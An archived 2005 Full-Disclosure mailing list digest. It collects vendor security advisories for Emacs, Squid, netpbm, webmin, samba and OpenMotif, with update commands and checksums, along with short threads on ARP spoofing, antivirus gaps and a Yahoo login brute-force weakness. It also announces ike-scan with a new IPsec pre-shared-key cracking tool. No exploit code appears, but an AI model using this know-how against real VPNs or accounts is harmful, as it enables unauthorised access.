martin.pitt at canonical.com Mon Feb 7 11:58:32 2005 From: martin.pitt at canonical.com (Martin Pitt) Date: Mon, 7 Feb 2005 12:58:32 +0100 Subject: [Full-Disclosure] [USN-76-1] Emacs vulnerability Message-ID: <20050207115832.GA16894@box79162.elkhouse.de> =========================================================== Ubuntu Security Notice USN-76-1 February 07, 2005 emacs21 vulnerability CAN-2005-0100 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 4.10 (Warty Warthog) The following packages are affected: emacs21-bin-common The problem can be corrected by upgrading the affected package to version 21.3+1-5ubuntu4.2. In general, a standard system upgrade is sufficient to effect the necessary changes. Details follow: Max Vozeler discovered a format string vulnerability in the "movemail" utility of Emacs. By sending specially crafted packets, a malicious POP3 server could cause a buffer overflow, which could have been exploited to execute arbitrary code with the privileges of the user and the "mail" group (since "movemail" is installed as "setgid mail"). Source archives: http://security.ubuntu.com/ubuntu/pool/main/e/emacs21/emacs21_21.3+1-5ubuntu4.2.diff.gz Size/MD5: 220180 bc57787061b02474dfd803ddbc08e771 http://security.ubuntu.com/ubuntu/pool/main/e/emacs21/emacs21_21.3+1-5ubuntu4.2.dsc Size/MD5: 801 f9c6262e8114deeba4430fee03cb7847 http://security.ubuntu.com/ubuntu/pool/main/e/emacs21/emacs21_21.3+1.orig.tar.gz Size/MD5: 18112871 83259d856459b473bf7fb6b6cfead0d2 Architecture independent packages: http://security.ubuntu.com/ubuntu/pool/main/e/emacs21/emacs21-common_21.3+1-5ubuntu4.2_all.deb Size/MD5: 10984378 550a747169ae12ba65f568379137dccb http://security.ubuntu.com/ubuntu/pool/main/e/emacs21/emacs21-el_21.3+1-5ubuntu4.2_all.deb Size/MD5: 7149862 b01a5203171f92f03b55c67fcf52dc67 amd64 architecture (Athlon64, Opteron, EM64T Xeon) http://security.ubuntu.com/ubuntu/pool/main/e/emacs21/emacs21-bin-common_21.3+1-5ubuntu4.2_amd64.deb Size/MD5: 148576 4c04484d1dead472dff48afa013bd749 http://security.ubuntu.com/ubuntu/pool/universe/e/emacs21/emacs21-nox_21.3+1-5ubuntu4.2_amd64.deb Size/MD5: 1940154 e05b39ee168bb8480b178cf9e953bdb2 http://security.ubuntu.com/ubuntu/pool/main/e/emacs21/emacs21_21.3+1-5ubuntu4.2_amd64.deb Size/MD5: 2158448 c166427b672d77108eb951019b7e3d72 i386 architecture (x86 compatible Intel/AMD) http://security.ubuntu.com/ubuntu/pool/main/e/emacs21/emacs21-bin-common_21.3+1-5ubuntu4.2_i386.deb Size/MD5: 131160 07d9fe77aa1807cf6fe0d4eeb1fe8838 http://security.ubuntu.com/ubuntu/pool/universe/e/emacs21/emacs21-nox_21.3+1-5ubuntu4.2_i386.deb Size/MD5: 1794792 c2795d591670c1c7db8fc57088840935 http://security.ubuntu.com/ubuntu/pool/main/e/emacs21/emacs21_21.3+1-5ubuntu4.2_i386.deb Size/MD5: 1978432 f5085f2d945c08dc5230cecde8236946 powerpc architecture (Apple Macintosh G3/G4/G5) http://security.ubuntu.com/ubuntu/pool/main/e/emacs21/emacs21-bin-common_21.3+1-5ubuntu4.2_powerpc.deb Size/MD5: 144576 16a77927200e2ae8eb01b7c78062a38e http://security.ubuntu.com/ubuntu/pool/universe/e/emacs21/emacs21-nox_21.3+1-5ubuntu4.2_powerpc.deb Size/MD5: 1881976 c48d5ce477a7092e7518a446f77caab5 http://security.ubuntu.com/ubuntu/pool/main/e/emacs21/emacs21_21.3+1-5ubuntu4.2_powerpc.deb Size/MD5: 2087044 8d32d0c234217ac394b89066b0669934 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050207/a32e9f21/attachment.bin From security-announce at turbolinux.co.jp Mon Feb 7 11:33:50 2005 From: security-announce at turbolinux.co.jp (Turbolinux) Date: Mon, 7 Feb 2005 20:33:50 +0900 Subject: [Full-Disclosure] [TURBOLINUX SECURITY INFO] 07/Feb/2005 Message-ID: <200502072033.58853.security-announce@turbolinux.co.jp> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 This is an announcement only email list for the x86 architecture. ============================================================ Turbolinux Security Announcement 31/Jan/2005 ============================================================ The following page contains the security information of Turbolinux Inc. - Turbolinux Security Center http://www.turbolinux.com/security/ (1) netpbm -> Symlink attack in netpbm may allow arbitrary file overwriting (2) webmin -> Multiple vulnerabilities exist in webmin (3) samba -> An integer overflow vulnerability exists in Samba =========================================================== * netpbm -> Symlink attack in netpbm may allow arbitrary file overwriting =========================================================== More information: The netpbm package contains a library of functions which support programs for handling various graphics file formats. A vulnerability in the manner in which netpbm handles temporary files could allow local users to overwrite arbitrary files via a symlink attack. Impact: This vulerability could allow attackers to overwrite arbitrary files via a symbolic link attack. Affected Products: - Turbolinux 8 Server - Turbolinux 8 Workstation - Turbolinux 7 Server - Turbolinux 7 Workstation Solution: Please use the turbopkg (zabom) tool to apply the update. --------------------------------------------- # turbopkg or # zabom update netpbm netpbm-devel netpbm-progs --------------------------------------------- Source Packages size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/SRPMS/netpbm-9.25-3.src.rpm 2065779 d09e323fd80d75f155ccd08f28702f6e Binary Packages size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/netpbm-9.25-3.i586.rpm 98115 83309ca9209bdea0cf5a32e92980075b ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/netpbm-devel-9.25-3.i586.rpm 114415 65f426ba58c638d3b8eedfca5df43909 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/netpbm-progs-9.25-3.i586.rpm 1150412 3e39bc0b01c94b0263dd8ba23dbed0aa Source Packages size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/SRPMS/netpbm-9.25-3.src.rpm 2065779 e3e9752805ac8b9fad72f164de75886e Binary Packages size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/netpbm-9.25-3.i586.rpm 98171 6f92aebe81941383c6226c1504fbccc9 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/netpbm-devel-9.25-3.i586.rpm 114479 988291608ed6aeae3e15457d3a3a84ee ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/netpbm-progs-9.25-3.i586.rpm 1149972 6089152aca6eb219dbc190ec24889529 Source Packages size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/SRPMS/netpbm-9.14-2.src.rpm 2099125 e055878b9d5f6de0512b1ea7bdb2ef9d Binary Packages size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/netpbm-9.14-2.i586.rpm 82255 46dd4127b57532ef0ef848e1f79d05ac ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/netpbm-devel-9.14-2.i586.rpm 104175 5de813b7c6c018dae8aadf23ecbb4bb9 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/netpbm-progs-9.14-2.i586.rpm 1058389 febc163587b87fb597cc3ece59b60af2 Source Packages size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/SRPMS/netpbm-9.14-2.src.rpm 2099125 50b5b0ae40301739b06a50c287a19b09 Binary Packages size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/netpbm-9.14-2.i586.rpm 82263 a2b1ca87c21f79fd345f480c577cef9e ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/netpbm-devel-9.14-2.i586.rpm 104255 f77a4e19f384961233710e95aa2c472c ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/netpbm-progs-9.14-2.i586.rpm 1058246 542389d46332d97e4b493bb953578777 References: CVE [CAN-2003-0924] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0924 =========================================================== * webmin -> Multiple vulnerabilities exist in webmin =========================================================== More information: Webmin is a web-based administration interface for Unix systems. Using Webmin you can configure DNS, Samba, NFS, local/remote filesystems and more using your web browser. Multiple vulnerabilities exist in Webmin: - A script in Usermin allows local users to overwrite arbitrary files at install time via a symlink attack on the /tmp/.usermin directory. - Webmin allows remote attackers to bypass access control rules and gain read access to configuration information for certain modules. - The account lockout functionality in webmin does not parse certain character strings, which allows remote attackers to conduct a brute force attack to guess user IDs and passwords. Impact: This vulerability may allow attackers to overwrite arbitrary files via a symbolic link attack. The vulnerabilities may allow remote attackers to bypass access control rules. Affected Products: - Turbolinux 8 Server - Turbolinux 8 Workstation - Turbolinux 7 Server Solution: Please use the turbopkg (zabom) tool to apply the update. --------------------------------------------- # turbopkg or # zabom update webmin --------------------------------------------- Source Packages size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/SRPMS/webmin-1.070-3.src.rpm 6930841 534de43ae0ad8830bb74896222b2eaf9 Binary Packages size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/webmin-1.070-3.noarch.rpm 6035769 157751b22142bf504e3a943a3a60f824 Source Packages size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/SRPMS/webmin-1.070-3.src.rpm 6930841 c80b3687b01f8f65b9db46bf10368e53 Binary Packages size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/webmin-1.070-3.noarch.rpm 6034650 dd4e791efcbecc9189f5dd728dee6b08 Source Packages size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/SRPMS/webmin-1.070-3.src.rpm 6930841 fbe7a9612533a0efbeba086ea9ef0609 Binary Packages size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/webmin-1.070-3.noarch.rpm 6057465 69c1a46d1a5ddcec6901132b8309bf65 References: CVE [CAN-2004-0559] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0559 [CAN-2004-0582] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0582 [CAN-2004-0583] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0583 =========================================================== * samba -> An integer overflow vulnerability exists in Samba =========================================================== More information: Samba is an Open Source/Free Software suite that provides seamless file and print services to SMB/CIFS clients. Samba is freely available, unlike other SMB/CIFS implementations, and allows for interoperability between Linux/Unix servers and Windows-based clients. Integer overflow vulnerabilities have been discovered in Samba. Impact: This vulnerability can allow remote attackers to execute arbitrary code via certain SMB requests. Affected Products: - Turbolinux Appliance Server 1.0 Hosting Edition - Turbolinux 10 Server - Turbolinux Home - Turbolinux 10 F... - Turbolinux 10 Desktop - Turbolinux 8 Server - Turbolinux 8 Workstation - Turbolinux 7 Server - Turbolinux 7 Workstation Solution: Please use the turbopkg (zabom) tool to apply the update. --------------------------------------------- [Turbolinux 10 Server, Turbolinux 10 Desktop, Turbolinux 10 F..., Turbolinux Home] # turbopkg or # zabom -u samba samba-debug samba-devel samba-python smbfs [other] # turbopkg or # zabom update samba samba-devel smbfs --------------------------------------------- Source Packages Size: MD5 samba-2.2.7a-14jaJP.src.rpm 7216406 e9173c3c781b4ecd39d93de572b497d2 Binary Packages Size: MD5 samba-2.2.7a-14jaJP.i586.rpm 11182740 0228cf921d171ab30b557c3ba33f40c7 samba-devel-2.2.7a-14jaJP.i586.rpm 502004 987ec605e854963df377ebd5a3d11e69 smbfs-2.2.7a-14jaJP.i586.rpm 633806 50bef9fdaeb2a56bfb73cf81dc721fbb Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/SRPMS/samba-3.0.6-13.src.rpm 15053246 e73d926f67f0974baf7c47855f1bc478 Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/samba-3.0.6-13.i586.rpm 24905516 427a07abcb7f9c73e42cbe4b14779624 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/samba-debug-3.0.6-13.i586.rpm 2914710 75bd348d0e5a1dbd7d418483ee231234 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/samba-devel-3.0.6-13.i586.rpm 750624 462200f1ab9014d49001d70305c587a1 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/samba-python-3.0.6-13.i586.rpm 4042407 559f002308ae764f317ff7837de65ab0 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/smbfs-3.0.6-13.i586.rpm 245829 a29a85a4dd1fb7a1a38eccb3b9551fef Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/SRPMS/samba-2.2.7a-14jaJP.src.rpm 7216406 9421b2bc1f8a5c5ea9b121d3d45c18ef Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/samba-2.2.7a-14jaJP.i586.rpm 11187180 171ae9311e71af58c1025bf0e514c347 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/samba-devel-2.2.7a-14jaJP.i586.rpm 514384 1d0e1ae587ffcdc4b3ec701046ab2923 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/smbfs-2.2.7a-14jaJP.i586.rpm 642601 f9d5a2b8e95a153f0e9a0145dfe6df01 Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/SRPMS/samba-2.2.7a-14jaJP.src.rpm 7216406 3bcd892bfd626df774c9fb340871ddb7 Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/samba-2.2.7a-14jaJP.i586.rpm 11192012 5b11473f3e4083f5f8ff6bbf19100abd ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/samba-devel-2.2.7a-14jaJP.i586.rpm 502377 c0dd012ca459803830d5d43e4b4c2d14 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/smbfs-2.2.7a-14jaJP.i586.rpm 635090 61520281f2f8797c6c1266c27df9dca5 Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/SRPMS/samba-2.2.7a-14jaJP.src.rpm 7216406 a821c695771cf4e78efda62ae147a411 Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/samba-2.2.7a-14jaJP.i586.rpm 11190948 4246a03c067bae3f24ee0c06cfaf1bb0 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/samba-devel-2.2.7a-14jaJP.i586.rpm 501206 e72960ffa0126e293391986af1519251 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/smbfs-2.2.7a-14jaJP.i586.rpm 632378 34c694b001f4671a506d16fcd4a27b06 Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/SRPMS/samba-2.2.7a-14jaJP.src.rpm 7216406 35092fdb1ad80c96f8732f3ba95c04e4 Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/samba-2.2.7a-14jaJP.i586.rpm 11035567 0930ccd99a51e795cf385783205cd41b ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/samba-devel-2.2.7a-14jaJP.i586.rpm 495574 99a444a38d227742fd215588fa9a833b ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/smbfs-2.2.7a-14jaJP.i586.rpm 615525 092ee149e216d7e49f9bab6b06c34d7c Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/SRPMS/samba-2.2.7a-14jaJP.src.rpm 7216406 6c32c025bcaaabbb917fcf0bd47f79c6 Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/samba-2.2.7a-14jaJP.i586.rpm 11035447 c362d4d8a874b2b10c65d5c40c34dcbf ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/samba-devel-2.2.7a-14jaJP.i586.rpm 495731 6be170456280eaef09060937582ce12f ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/smbfs-2.2.7a-14jaJP.i586.rpm 615062 f9289151962bf203a88b674ef82ef43c References: CVE [CAN-2004-1154] http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1154 * You may need to update the turbopkg tool before applying the update. Please refer to the following URL for detailed information. http://www.turbolinux.com/download/zabom.html http://www.turbolinux.com/download/zabomupdate.html Package Update Path http://www.turbolinux.com/update/ ============================================================ * To obtain the public key Here is the public key http://www.turbolinux.com/security/ * To unsubscribe from the list If you ever want to remove yourself from this mailing list, you can send a message to with the word `unsubscribe' in the body (don't include the quotes). unsubscribe * To change your email address If you ever want to chage email address in this mailing list, you can send a message to with the following command in the message body: chaddr 'old address' 'new address' If you have any questions or problems, please contact Thank you! -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (GNU/Linux) iD8DBQFCB1IiK0LzjOqIJMwRAr93AKCTk3EpeSXRUMC5e/Y3xWmkFkaEsACgsFM3 H81wFH0zzuyoY4E29k9z4vM= =yHbr -----END PGP SIGNATURE----- From koon at gentoo.org Mon Feb 7 12:34:52 2005 From: koon at gentoo.org (Thierry Carrez) Date: Mon, 07 Feb 2005 13:34:52 +0100 Subject: [Full-Disclosure] [ GLSA 200502-07 ] OpenMotif: Multiple vulnerabilities in libXpm Message-ID: <4207606C.7000307@gentoo.org> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200502-07 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: OpenMotif: Multiple vulnerabilities in libXpm Date: February 07, 2005 Bugs: #78111 ID: 200502-07 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== Multiple vulnerabilities have been discovered in libXpm, which is included in OpenMotif, that can potentially lead to remote code execution. Background ========== OpenMotif provides a free version of the Motif toolkit for open source applications. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 x11-libs/openmotif < 2.2.3 >= 2.2.3 Description =========== Multiple vulnerabilities, such as buffer overflows, out of bounds memory access or directory traversals, have been discovered in libXpm that is shipped as a part of the X Window System (see GLSA 200409-34 and 200411-28). OpenMotif, an application that includes this library, suffers from the same issues. Impact ====== A carefully-crafted XPM file could crash applications making use of the OpenMotif toolkit, potentially allowing the execution of arbitrary code with the privileges of the user running the application. Workaround ========== There is no known workaround at this time. Resolution ========== All OpenMotif users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=x11-libs/openmotif-2.2.3" References ========== [ 1 ] CAN-2004-0687 http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0687 [ 2 ] CAN-2004-0688 http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0688 [ 3 ] CAN-2004-0914 http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0914 [ 4 ] GLSA 200409-34 http://www.gentoo.org/security/en/glsa/glsa-200409-34.xml [ 5 ] GLSA 200411-28 http://www.gentoo.org/security/en/glsa/glsa-200411-28.xml Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200502-07.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: OpenPGP digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050207/3fb877cb/attachment.bin From mail at code-foundation.de Mon Feb 7 13:04:37 2005 From: mail at code-foundation.de (Dominik Birk) Date: Mon, 07 Feb 2005 14:04:37 +0100 Subject: [Full-Disclosure] Re: Cain and Abel In-Reply-To: <42073A36.2000609@e-liberty.pl> References: <20050203193656.36312.qmail@web50410.mail.yahoo.com> <42073A36.2000609@e-liberty.pl> Message-ID: <1107781477.4921.6.camel@localhost.localdomain> > Static arp entries are _static_ (unchangable) for Linux. > For Windows, Windows XP is first MS system that treat static as real > static - in previous versions "static" means that is times-out not so > often (but could be changed) I have tried to put some static ARP-entries under WinXP. No way, it changed the whole time, when you send new ARP-Replies. How did you make the static entries? arp -s [dns] [mac] My experiences are, that this command ist not very effectively. > For other OSes? dunno. NetBSD brings error-messages when receiving new ARP-Replies, but doesn't change the ARP-Cache. > Piw Dominik From voipsa at voipsa.org Mon Feb 7 14:26:28 2005 From: voipsa at voipsa.org (VoIP Security Aliance) Date: Mon, 7 Feb 2005 14:26:28 -0000 (GMT) Subject: [Full-Disclosure] VOIPSEC Message-ID: <38188.66.179.208.36.1107786388.squirrel@66.179.208.36> The Voice over IP Security Alliance (VOIPSA) is pleased to announce the launch of the VOIPSEC mailing list. VOIPSEC is a moderated discussion list focused on VoIP security issues, VoIP security technologies, and related topics. Everyone is welcome to subscribe at http://www.voipsa.org/lists.html About VOIPSA: The Voice over IP Security Alliance (VOIPSA) is a unique collaboration of VoIP and Information Security vendors, providers, and researchers. VOIPSA aims to help organizations understand and mitigate VoIP security risks through discussion lists, white papers, sponsorship of VoIP security research projects, and the development of tools and methodologies for public use. More information is available at http://www.voipsa.org From xslf at xslf.com Mon Feb 7 15:04:31 2005 From: xslf at xslf.com (Shoshannah Forbes) Date: Mon, 07 Feb 2005 17:04:31 +0200 Subject: [Full-Disclosure] Multiple AV Vendors ignoring tar.gz archives In-Reply-To: <4205FC4E.18353.30924D8@localhost> References: <4205FC4E.18353.30924D8@localhost> Message-ID: <0c7e28bdc0a8f296612fb8dce1dbabf7@xslf.com> On 06/02/2005, at 00:15, Nick FitzGerald wrote: > Known virus scanning > is a far from perfect method for achieving this, but as the only > intelligent method of achieving it has been entirely disregarded by > users, AV and OS developers, scanning is pretty much what we are left > with. To which method are you referring here? --- Shoshannah Forbes http://www.xslf.com From propolice at gmail.com Mon Feb 7 15:17:19 2005 From: propolice at gmail.com (Eduardo Tongson) Date: Mon, 7 Feb 2005 23:17:19 +0800 Subject: [Full-Disclosure] yahoo mail image verification In-Reply-To: <42074E8A.9020801@xmcopartners.com> References: <42074E8A.9020801@xmcopartners.com> Message-ID: On Mon, 07 Feb 2005 12:18:34 +0100, Thierry Haven wrote: > After testing the French Yahoo portal, it appears that this flaw > actually exists. Let's hope they'll fix it soon. However, the impact of > a bruteforce attempt is minimal if you have a strong password by default > ... > > I've submitted this bug to Yahoo for review. > confirmed. works with login.yahoo.com -- Eduardo Tongson http://i.keepsilent.net [:] GPG KeyID : 0x6033AC66 http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x6033AC66 Key fingerprint : 0A86 79BA 3EC1 4B34 0D65 0E05 F9EC 98A2 6033 AC66 From Roy.Hills at nta-monitor.com Mon Feb 7 15:32:32 2005 From: Roy.Hills at nta-monitor.com (Roy Hills) Date: Mon, 07 Feb 2005 15:32:32 +0000 Subject: [Full-Disclosure] New version of ike-scan (IPsec IKE scanner) available - v1.7 Message-ID: <6.2.0.14.0.20050207152847.02bd75f8@192.168.124.1> ike-scan v1.7 has been released. The new version is available at http://www.nta-monitor.com/ike-scan/ The key changes from the previous version (v1.6) are: a) new psk-crack program to crack IKE Aggressive Mode pre-shared keys using either dictionary or brute-force methods. The new --pskcrack (-P) ike-scan option outputs the psk parameters to a file or stdout for cracking with psk-crack. b) Support for IKE over TCP. Two variants are supported: raw IKE over TCP as used by Checkpoint VPN-1, and encapsulated IKE over TCP as used by Cisco VPN Concentrator. c) New --random (-R) option to randomise the target list. d) The identity payload for aggressive mode may be specified as either a string or hex (previously, it could only be specified as hex). e) Ability to use the OpenSSL MD5 and SHA1 hash functions. This is enabled with the --with-openssl option to ./configure. The OpenSSL hash functions are generally faster than the ike-scan built-in functions, which is useful for pre-shared key cracking. f) Many more backoff fingerprints and vendor ID patterns added. g) Tested on many new platforms. Too many to mention them all, but significant ones are MacOS X, HP-UX and SCO Openserver. For full details of the changes, please read the ChangeLog and NEWS files in the tarball. For usage notes, please read the README and README-WIN32 files in the tarball. To download the new version, go to: http://www.nta-monitor.com/ike-scan/ The direct download links are: http://www.nta-monitor.com/ike-scan/download/ike-scan-1.7.tar.gz (Source tarball) http://www.nta-monitor.com/ike-scan/download/ike-scan-win32-1.7.zip (Windows-32 Binary) md5sums should be: c06c6a3d78ba9b93c0abf79b3a3d2a11 ike-scan-1.7.tar.gz (Source Tarball) 4e8c37775d541318e9841f17d22d492e ike-scan-win32-1.7.zip (Windows-32 Binary) If you are hosting a copy of ike-scan, or you are maintaining a port or package, please process and upload this new version. Please continue to send any comments or suggestions to: ike-scan at nta-monitor.com Comments on the new pre-shared key cracking code are particularly welcome. Regards, Roy Hills From len at netsys.com Mon Feb 7 15:48:38 2005 From: len at netsys.com (Len Rose) Date: Mon, 7 Feb 2005 10:48:38 -0500 Subject: [Full-Disclosure] Administrivia: Goodbye Message-ID: <20050207154838.GA29521@netsys.com> I'm officially retiring from everything and no longer involved in Full Disclosure or netsys.com as well. I am passing the baton to John Cartwright my trusted associate and friend of many years It has been wonderful to have been a part of Full Disclosure and I wish everyone the best. My email address len at netsys.com will eventually cease to work, and I will not be on the net much if at all. Len Rose ex-chief something or other. len at netsys.com http://www.netsys.com/ From martin.pitt at canonical.com Mon Feb 7 16:33:45 2005 From: martin.pitt at canonical.com (Martin Pitt) Date: Mon, 7 Feb 2005 17:33:45 +0100 Subject: [Full-Disclosure] [USN-77-1] Squid vulnerabilities Message-ID: <20050207163345.GA20994@box79162.elkhouse.de> =========================================================== Ubuntu Security Notice USN-77-1 February 07, 2005 squid vulnerabilities CAN-2005-0173, CAN-2005-0174, CAN-2005-0175, CAN-2005-0211 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 4.10 (Warty Warthog) The following packages are affected: squid The problem can be corrected by upgrading the affected package to version 2.5.5-6ubuntu0.4. In general, a standard system upgrade is sufficient to effect the necessary changes. Details follow: A possible authentication bypass was discovered in the LDAP authentication backend. LDAP ignores leading and trailing whitespace in search filters. This could possibly be abused to bypass explicit access controls or confuse accounting when using several variants of the login name. (CAN-2005-0173) Previous Squid versions were not strict enough while parsing HTTP requests and responses. Various violations of the HTTP protocol, such as multiple Content-Length header lines, invalid "Carriage Return" characters, and HTTP header names containing whitespace, led to cache pollution and could possibly be exploited to deliver wrong content to clients. (CAN-2005-0174) Squid was susceptible to a cache poisoning attack called "HTTP response splitting", where false replies are injected in the HTTP stream. This allowed malicious web servers to forge wrong cache content for arbitrary web sites, which was then delivered to Squid clients. (CAN-2005-0175) The FSC Vulnerability Research Team discovered a buffer overflow in the WCCP handling protocol. By sending an overly large WCCP packet, a remote attacker could crash the Squid server, and possibly even execute arbitrary code with the privileges of the "proxy" user. (CAN-2005-0211) Source archives: http://security.ubuntu.com/ubuntu/pool/main/s/squid/squid_2.5.5-6ubuntu0.4.diff.gz Size/MD5: 271207 8d50a79d90b0b3d22685035c46995da8 http://security.ubuntu.com/ubuntu/pool/main/s/squid/squid_2.5.5-6ubuntu0.4.dsc Size/MD5: 652 b4a0773e7b0038524e8622fdab752aea http://security.ubuntu.com/ubuntu/pool/main/s/squid/squid_2.5.5.orig.tar.gz Size/MD5: 1363967 6c7f3175b5fa04ab5ee68ce752e7b500 Architecture independent packages: http://security.ubuntu.com/ubuntu/pool/main/s/squid/squid-common_2.5.5-6ubuntu0.4_all.deb Size/MD5: 190348 bd299d23e0891d92026c970b217f30c0 amd64 architecture (Athlon64, Opteron, EM64T Xeon) http://security.ubuntu.com/ubuntu/pool/universe/s/squid/squid-cgi_2.5.5-6ubuntu0.4_amd64.deb Size/MD5: 89774 e4fb7d8c7f232598ae6d095f51eebc9b 